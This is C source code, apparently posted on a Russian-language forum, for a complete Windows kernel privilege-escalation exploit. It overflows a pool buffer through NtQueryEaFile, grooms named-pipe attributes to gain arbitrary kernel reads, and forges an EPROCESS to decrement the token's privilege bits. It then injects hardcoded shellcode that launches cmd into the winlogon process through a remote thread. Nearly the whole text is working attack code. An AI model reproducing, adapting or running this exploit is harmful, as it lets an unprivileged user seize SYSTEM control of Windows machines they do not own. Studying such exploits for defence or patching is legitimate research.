    uintptr_t fake_eprocess_queue_entry;
    // The list is currently
    // ROOT -> GHOST -> FAKE -> 0xDEADDEADCAFE0000 (next chain)
    // so fix it to have
    // ROOT -> GHOST -> FAKE -> ROOT (next chain)
    // because the list is walked when setting a new attribute
    // xploit->fake_pipe_attribute->list.Flink = (struct _LIST_ENTRY *)xploit->leak_root_attribute;

    // The pipe attribute list is corrupted, use the pipe queue entry to store arbitrary data in the kernel
    write_pipe(&xploit->ghosts->pipes[xploit->ghost_idx], fake_eprocess_buf + DUMB_ATTRIBUTE_NAME2_LEN, FAKE_EPROCESS_SIZE * 2);

    // We can read prev or next of the root to find the entry that contains the arbitrary data
    pp_exploit_arbitrary_read(xploit, xploit->leak_root_queue, (char*)&fake_eprocess_queue_entry, 0x8);
    printf("[+] fake eprocess queue pipe is : 0x%llx\n", fake_eprocess_queue_entry);

    // the data is at Entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT
    xploit->fake_eprocess = fake_eprocess_queue_entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT;
}

/**
 * Alloc a new pipe attribute in the corrupted list.
 * This attribute will hold the fake EPROCESS data, since it must be in kernel.
 * We must allocate it now because we only know the address of the token now.
**/
void setup_fake_eprocess(xploit_t* xploit)
{
    char fake_eprocess_attribute_buf[0x1000] = { 0 };
    char fake_eprocess_buf[0x10000] = { 0 };

    //    strncpy_s(spray_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);

    strncpy_s(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2, DUMB_ATTRIBUTE_NAME2_LEN);

   
    initFakeEprocess(fake_eprocess_buf, (xploit->self_token + 0x48));
    memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
    initFakeEprocess(fake_eprocess_buf, (xploit->self_token + 0x41));
    memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE);


    /**
     *  We can use pipe attribute or pipe queue entry for writing arbitry data in kernel
     * and then retrieve the address using the arbitrary read.
     * In NonPagedPool Exploit, the pipe queue entry list is corrupted, so we use the
     * pipe attribute list
     * In PagedPool exploit, the pipe attribute list is corrupted, so we use the pipe queue
     * entry list.
    **/
    pp_alloc_fake_eprocess(xploit, fake_eprocess_attribute_buf);

    printf("[+] fake_eprocess is : 0x%llx\n", xploit->fake_eprocess);

    printf("[>] Continue? \n");
    getchar();

}

void pp_setup_final_write(xploit_t* xploit, char* buffer)
{
    /**
     *   restore list
     *   ROOT -> GHOST ->  ROOT (next chain)
     *   ROOT <- GHOST <- ROOT (previous chain)
    **/
    strncpy(buffer, (char*)ATTRIBUTE_NAME, (size_t)ATTRIBUTE_NAME_LEN);

    // rebuild the pipe attribute object so it doesn't crash
    *(uintptr_t*)((unsigned char*)buffer + xploit->ghost_chunk_offset + 0x10) = xploit->leak_root_attribute;  // list.next
    *(uintptr_t*)((unsigned char*)buffer + xploit->ghost_chunk_offset + 0x18) = xploit->leak_root_attribute;  // list.prev
    *(uintptr_t*)((unsigned char*)buffer + xploit->ghost_chunk_offset + 0x20) = (uintptr_t)ATTRIBUTE_NAME;    // AttributeName
}


void pp_free_ghost_chunk(xploit_t* xploit)
{
    // Set a pipe attribute with only the name delete this attribute
    set_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], (char*)ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
}



BOOL checkPrivilege()
{
    PRIVILEGE_SET        privSet;
    LUID_AND_ATTRIBUTES Privileges[1];
    BOOL                isPrivilegeSet = FALSE;
    HANDLE currentProcessHandle;
    HANDLE hTokenHandle;

    currentProcessHandle = GetCurrentProcess();

    OpenProcessToken(currentProcessHandle, TOKEN_ALL_ACCESS, &hTokenHandle);

    if (hTokenHandle == INVALID_HANDLE_VALUE)
    {
        printf("Failed to retrieve process token handle \n");
        return -1;
    }

    LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &(Privileges[0].Luid));
    Privileges[0].Attributes = 0;

    privSet.PrivilegeCount = 1;
    privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
    memcpy(privSet.Privilege, Privileges, sizeof(Privileges));

    PrivilegeCheck(hTokenHandle, &privSet, &isPrivilegeSet);

    // while (!isPrivilegeSet)
    // {
    //     TOKEN_PRIVILEGES tp;
    //     tp.PrivilegeCount = 1;
    //     printf("Trying to set LUID %d\n", Privileges[0].Luid);
    //     tp.Privileges[0].Luid = Privileges[0].Luid;
    //     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //     if ( !AdjustTokenPrivileges(
    //         hTokenHandle,
    //         FALSE,
    //         &tp,
    //         sizeof(TOKEN_PRIVILEGES),
    //         (PTOKEN_PRIVILEGES) NULL,
    //         (PDWORD) NULL) )
    //     {
    //         printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
    //         isPrivilegeSet = FALSE;
    //         GetPrivilege();
    //         return FALSE;
    //     }
    //     else
    //     {
    //         if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    //         {
    //             printf("The token does not have the specified privilege. \n");
    //         }
    //         privSet.PrivilegeCount = 1;
    //         privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
    //         memcpy(privSet.Privilege, Privileges, sizeof(Privileges));
    //         PrivilegeCheck(hTokenHandle, &privSet, &isPrivilegeSet);
    //         GetPrivilege();
    //         if (isPrivilegeSet)
    //             return TRUE;
    //         puts("Failed to get SeDebugPrivilege ! retrying...");
    //         getchar();
    //     }
    // }

    return (isPrivilegeSet);
}


void free_spray_lfh(xploit_t* xploit)
{
    puts("freeing lookaside 1");
    getchar();
    free_pipes(xploit->lookaside1);

    puts("freeing lookaside 2");
    getchar();

    free_pipes(xploit->lookaside2);
    puts("Leaving !!");
    getchar();
}

void spawnShell(size_t processID)
{
    HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
    PVOID  pLibRemote;
    // DWORD processID;
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
        "\x00";



    hSystemProcess = OpenProcess(GENERIC_ALL, 0, processID);

    if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
    {
        printf("[-] Couldn't open system process...\n");
        exit(1);
    }
    printf("[+]Got a handle on a system Process: %08p\n", hSystemProcess);


    pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (!pLibRemote)
    {
        printf("[-]Virtual alloc failed !\n");
        exit(0);
    }

    printf("[+]Allocation in system process succeded with address %08p\n", pLibRemote);

    if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
    {
        printf("[-]WriteProcessMemory failed !\n");
        exit(1);
    }

    HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);

    printf("[+]Writing in system process succeded\n");

    if (hThread == NULL) {
        printf("[-]CreateRemoteThread failed !\n");
        exit(1);
    }
    else
        printf("[+]Remote thread created !\n");
    CloseHandle(hSystemProcess);
}

int main() {
    // Load ntdll.dll and get the addresses of the functions
    HMODULE ntdll = LoadLibraryA("ntdll.dll");
    if (!ntdll) {
        printf("Error loading ntdll.dll\n");
        return 1;
    }

    NtSetEaFile_t NtSetEaFile = (NtSetEaFile_t)GetProcAddress(ntdll, "NtSetEaFile");
    NtQueryEaFile_t NtQueryEaFile = (NtQueryEaFile_t)GetProcAddress(ntdll, "NtQueryEaFile");

    NtFsControlFile = (NtFsControlFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtFsControlFile");
    if (!NtFsControlFile) {
        return 1;
    }
    if (!NtSetEaFile || !NtQueryEaFile) {
        printf("Error finding NtSetEaFile or NtQueryEaFile\n");
        return 1;
    }

    // File to set/query extended attributes
    const char* fileName = "example.txt";
    hFile = CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Error opening file: %lu\n", GetLastError());
        return 1;
    }

    set_extended_attributes(NtSetEaFile);


    //printf("[>] Continue to do a NtQueryEaFile? > ");
    //getchar();

    // spray
        // just spray for now and let's see
    char spray_buf[0x1000];
    char respray_buf[0x1000];
    char rewrite_buf[0x1000];
    char final_write_buf[0x1000];


    xploit_t xploit;
    memset(&xploit, 0x00, sizeof(xploit_t));


    // fake pipe attribute is the pipe attribute we put in userland to get arbitrary read
    xploit.fake_pipe_attribute = (pipe_attribute_t*)malloc(sizeof(pipe_attribute_t));

    xploit.fake_pipe_attribute->list.Flink = (LIST_ENTRY*)0xDEADDEADCAFE0000;
    xploit.fake_pipe_attribute->list.Blink = (LIST_ENTRY*)0xDEADDEADCAFF0000;
    xploit.fake_pipe_attribute->AttributeName = (char*)ATTRIBUTE_NAME;
    xploit.fake_pipe_attribute->ValueSize = 0x100;
    xploit.fake_pipe_attribute->AttributeValue = (char*)0xDEADBEEFCAFEAAAA;

    pipe_queue_entry_sub_t *fake_pipe_queue_sub = (pipe_queue_entry_sub_t*)malloc(sizeof(pipe_queue_entry_sub_t));
    memset(fake_pipe_queue_sub, 0, sizeof(pipe_queue_entry_sub_t));



    size_t targeted_vuln_size = 0x143;
    xploit.ghost_chunk_size = 0x200;
    size_t backward_step =  targeted_vuln_size - ((LEN_OF_PIPE_ATTRIBUTE_STRUCT - ATTRIBUTE_NAME_LEN + 0xf) & (~0xF));

    // buffer for spray attributes
    memset(spray_buf, 0x41, 0x1000);
    strncpy_s(spray_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);

    // buffer for spray after trigger of the free
    //
    memset(respray_buf, 0x42, 0x1000);
    strncpy_s(respray_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);


    // buf that will overwrite the ghost chunk then the target attribute
    memset(rewrite_buf, 0x61, sizeof(rewrite_buf));

    // ghost_chunk_offset is the index in the buffer that will
    // contain the pointer of the next chunk in the lookaside list
    // pointer at this place must be zero !!
    xploit.ghost_chunk_offset = targeted_vuln_size  - backward_step - LEN_OF_PIPE_ATTRIBUTE_STRUCT;

    printf("[*] ghost_chunk_offset: %d\n", xploit.ghost_chunk_offset);

    *((unsigned char*)respray_buf + xploit.ghost_chunk_offset) = 0;                              // previous size
    *((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 1) = 0;                              // pool index
    *((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 2) = (xploit.ghost_chunk_size + POOL_HEADER_SIZE) / 0x10; // block size
    *((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 3) = 0;                              // pool type

    memcpy((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 4, "\xAf\xff\xff\xff", 4);
   

    // buffer for the target attribute that will be overwritten
    memset(attribute, 0x43, 0x1000);
    strncpy_s(attribute, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);


    char* ghost_attribute_buf = (char*)malloc(0x10000);
    for (int i = 0x00; i < 0x10000; i += 0x1000) {
        memcpy((ghost_attribute_buf + i), attribute, 0x1000);
    }

    // the pipe for ghosts need to be big enough to contain the FAKE EPROCESS
    xploit.ghosts = prepare_pipes(1, 0x10000, ghost_attribute_buf);
    xploit.ghost_idx = 0;
   

    ppipe_spray_t spray1     = prepare_pipes(30 * 0x80, targeted_vuln_size + POOL_HEADER_SIZE, spray_buf);
    ppipe_spray_t drain1     = prepare_pipes(0x20000, targeted_vuln_size + POOL_HEADER_SIZE, spray_buf);
    xploit.respray           = prepare_pipes(60 * 0x80, targeted_vuln_size + POOL_HEADER_SIZE, respray_buf);
    xploit.lookaside1 = prepare_pipes(0x80 + 0x20, xploit.ghost_chunk_size + POOL_HEADER_SIZE, spray_buf);
    xploit.lookaside2 = prepare_pipes(0x80 + 0x20, xploit.ghost_chunk_size + POOL_HEADER_SIZE, spray_buf);

   
    // drain
    spray_pipes(drain1);

    // spray
    spray_pipes(spray1);

    // Create gaps
    free_third_pipes(spray1, 0);

    //getchar();
    //printf("[>] Trigger vuln?\n");

    //printf("[*] Sleeping for one second before triggering bug, seems to help exploit stability.\n");
    //Sleep(1000);

    // trigger vuln
    query_extended_attributes(NtQueryEaFile);

    char leak[0x1000];


    // do respray to re-allocate into the previous vuln object's place
    spray_pipes(xploit.respray);


    spray_pipes(xploit.lookaside1);
    Sleep(2000);

    spray_pipes(xploit.lookaside2);
    Sleep(1000);

    free_pipes(spray1);
    //free_pipes(drain1);



    printf("[+] Alloc ghost !\n");
    //xploit->alloc_ghost_chunk(xploit, attribute);
    set_pipe_attribute(&xploit.ghosts->pipes[xploit.ghost_idx], attribute, xploit.ghost_chunk_size - LEN_OF_PIPE_ATTRIBUTE_STRUCT);


    // get leak
    puts("[+] Reading pipes...");

    int leaking_pipe_idx = pp_get_leak(&xploit, xploit.respray);
    if (leaking_pipe_idx == -1)
        return 0;

    pp_setup_ghost_overwrite(xploit.fake_pipe_attribute, rewrite_buf);
    xploit.rewrite = prepare_pipes(0x80 * 20, targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf);

    /**
     *  We have leaked some data from the pipe attribute.
     *  Now, we need to overwrite the ghost attribute to get an arbitrary read
    **/

    // Free the pipe and realloc to overwrite the target pipe attribute
    close_pipe(&xploit.respray->pipes[leaking_pipe_idx]);
    spray_pipes(xploit.rewrite);

    /**
     *  If everything went well, we now have a corrupted pipe attribute. The next points
     *  in userland, on fake_pipe_attribute. We can use this to arbitrary read by getting
     *  the attribute value of the fake_pipe_attribute, and setting fake_pipe_attribute->AttributeValue
     *  to arbitrary location.
     *
     *
     *  The linked list is now corrupted:
     *
     * ROOT               -> VULN -> FAKE -> 0xDEADDEADCAFE0000 (next chain)
     * 0xDEADBEEFCAFEB00B <- VULN <- ROOT                       (previous chain)
     *
    **/

    if (find_kernel_base(&xploit) != 1)
        goto leave;




    pp_exploit_arbitrary_read(&xploit, xploit.kernel_base + NT_POOLQUOTACOOKIE_OFFSET, (char*)&xploit.ExpPoolQuotaCookie, 0x8);
    printf("[+] ExpPoolQuotaCookie is : 0x%llx\n", xploit.ExpPoolQuotaCookie);


    printf("[>] find_self_eprocess next...\n");
    getchar();

    /**
     * We have ntoskrnl leak, we can read the cookie and get the PsInitialSystemProcess
     * Then, run through the process list to find our EPROCESS structure.
    **/
    if (!find_self_eprocess(&xploit))
        goto leave;




    // From EPROCESS structure, find self token
    pp_exploit_arbitrary_read(&xploit, xploit.self_eprocess + EPROCESS_TOKEN_OFFSET, (char*)&xploit.self_token, 0x8);
    // The pointer is encoded
    xploit.self_token = xploit.self_token & (~0xF);
    printf("[+] self_token is : 0x%llx\n", xploit.self_token);


    // puts("Setup fake eprocess ? !");
    // getchar();
    setup_fake_eprocess(&xploit);



    /**
     * Final step, we will free again our spray and realloc it to overwrite the ghost chunk.
     * This time, the goal is to create a new POOL_HEADER for ghost chunk, and to fix the linked
     * list of the pipe attribute, so we can the ghost chunk and trigger an arbitrary decrement.
     *
     * We will decrement the Token->Privileges->Enabled bitfield AND
     * the Token->Privileges->Present bitfield, that will gives us SeDebugPrivilege.
    **/

    memset(final_write_buf, 0x46, sizeof(final_write_buf));

    *((unsigned char*)final_write_buf + xploit.ghost_chunk_offset) = 0;                           // previous size
    *((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 1) = 0;                           // pool index
    *((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 2) = (xploit.ghost_chunk_size + POOL_HEADER_SIZE) / 0x10;  // block size
    *((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 3) = 8;                             // pool type
    *(DWORD*)((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 4) = 0x41424344; // 0xffffff0f;     // pool tag
    *(uintptr_t*)((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 8) = (xploit.fake_eprocess + FAKE_EPROCESS_OFFSET) ^ xploit.ExpPoolQuotaCookie ^ xploit.ghost_chunk; // Quota !


    pp_setup_final_write(&xploit, final_write_buf);


    // free both spray so the page containing our chunk goes in the top allocating pages.
    // With VS freeing respray is not allowed, since there is one of it that is
    // 1 chunk after the overwritten and thus the freeing could trigger a merge
    // and a BSOD

    free_pipes(xploit.respray);
    xploit.respray = NULL;

    free_pipes(xploit.rewrite);
    xploit.rewrite = NULL;

    xploit.final_write = prepare_pipes(0x80 * 10, targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf);


    // spray the final rewrite !
    if (!spray_pipes(xploit.final_write))
        goto leave;


    // The block size will be the number decremented
    // we need to decrement of at least 0x810, but try to find a size that is not used as allocation
    // to avoid this chunk to be reallocated and do nasty things that would trigger a crash
    *((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 2) = (0xe40) / 0x10;  // block size

    *(uintptr_t*)((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 8) = (xploit.fake_eprocess + FAKE_EPROCESS_OFFSET + FAKE_EPROCESS_SIZE) ^ xploit.ExpPoolQuotaCookie ^ xploit.ghost_chunk; // Quota !

    xploit.final_write2 = prepare_pipes(0x80 * 20, targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf);
    // puts("[+] Ready to try free and arbitrary decrement !");
    // getchar();


    pp_free_ghost_chunk(&xploit);
    //xploit.alloc_ghost_chunk(&xploit, attribute);
    set_pipe_attribute(&xploit.ghosts->pipes[xploit.ghost_idx], attribute, xploit.ghost_chunk_size - LEN_OF_PIPE_ATTRIBUTE_STRUCT);



    free_pipes(xploit.final_write);
    xploit.final_write = NULL;

    // spray the final rewrite 2 !
    spray_pipes(xploit.final_write2);



    // puts("[+] Ready to try free and arbitrary decrement second time !");
    // getchar();
    pp_free_ghost_chunk(&xploit);


    // Check if we got the SeDebugPrivilege !
    if (checkPrivilege())
    {
        // WIN !
        printf("[+] Privilege Escalation worked fine ! \n");
        spawnShell(xploit.winlogon_pid);
    }
    else
        printf("[-] We still dont have enough privilege, retrying...\n\n");


leave:

    //getchar();
    free_pipes(drain1);

    puts("[+] closing ghost pipe");
    free_pipes(xploit.ghosts);

    puts("[+] freeing respray");
    if (xploit.respray)
        free_pipes(xploit.respray);

    puts("[+] freeing rewrite");
    if (xploit.rewrite)
        free_pipes(xploit.rewrite);

    puts("[+] freeing final_write");
    if (xploit.final_write)
        free_pipes(xploit.final_write);

    puts("[+] freeing final_write2");

    if (xploit.final_write2)
        free_pipes(xploit.final_write2);


    free_spray_lfh(&xploit);


    CloseHandle(hFile);
    return 1;
}
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх